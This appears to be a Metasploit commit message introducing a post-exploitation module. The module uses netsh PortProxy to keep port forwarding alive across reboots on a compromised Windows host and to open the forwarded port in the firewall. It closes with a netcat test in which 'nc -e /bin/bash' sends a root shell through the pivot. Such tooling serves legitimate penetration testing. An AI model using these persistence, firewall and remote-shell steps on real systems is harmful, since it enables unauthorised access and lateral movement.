added portproxy post meterpreter module

This module uses the PortProxy interface from netsh to set up port forwarding persistently (even after reboot). PortProxy supports TCP IPv4 and IPv6 connections. Useful to leave the host as a proxy to access other hosts.

Here an example (Windows XP: 192.168.1.104):

msf post(portproxy) > show options

Module options (post/windows/manage/portproxy):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   CADDRESS  192.168.1.82     yes       IPv4/IPv6 address to which to connect.
   CPORT     8888             yes       Port number to which to connect.
   LADDRESS  0.0.0.0          yes       IPv4/IPv6 address to which to listen.
   LPORT     6543             yes       Port number to which to listen.
   SESSION   2                yes       The session to run this module on.
   TYPE      v4tov4           yes       Type of forwarding. Valid values: v4tov4, v6tov6, v6tov4, v4tov6.

msf post(portproxy) > set session 3
session => 3
msf post(portproxy) > run

[*] Checking IPv6. This could take a while ...
[+] IPV6 installed.
[*] Setting PortProxy ...
[+] PortProxy added.
[*] Local IP	Local Port	Remote IP	Remote Port
[*] 0.0.0.0         8888        192.168.1.65    5555
[*] 0.0.0.0         3232        192.168.1.82    9999
[*] 0.0.0.0         2221        192.168.1.82    9999
[*] 0.0.0.0         1111        192.168.1.1     5552
[*] *               8001        192.168.1.212   9090
[*] 0.0.0.0         9874        192.168.1.82    8181
[*] 0.0.0.0         6543        192.168.1.82    8888
[*] Setting port 6543 in Windows Firewall ...
[+] Port opened in Windows Firewall.
[*] Post module execution completed


Check it with nc:
/home# nc -l -p 8888 
.# nc 192.168.1.104 6543 -e /bin/bash

/home# nc -l -p 8888
whoami
root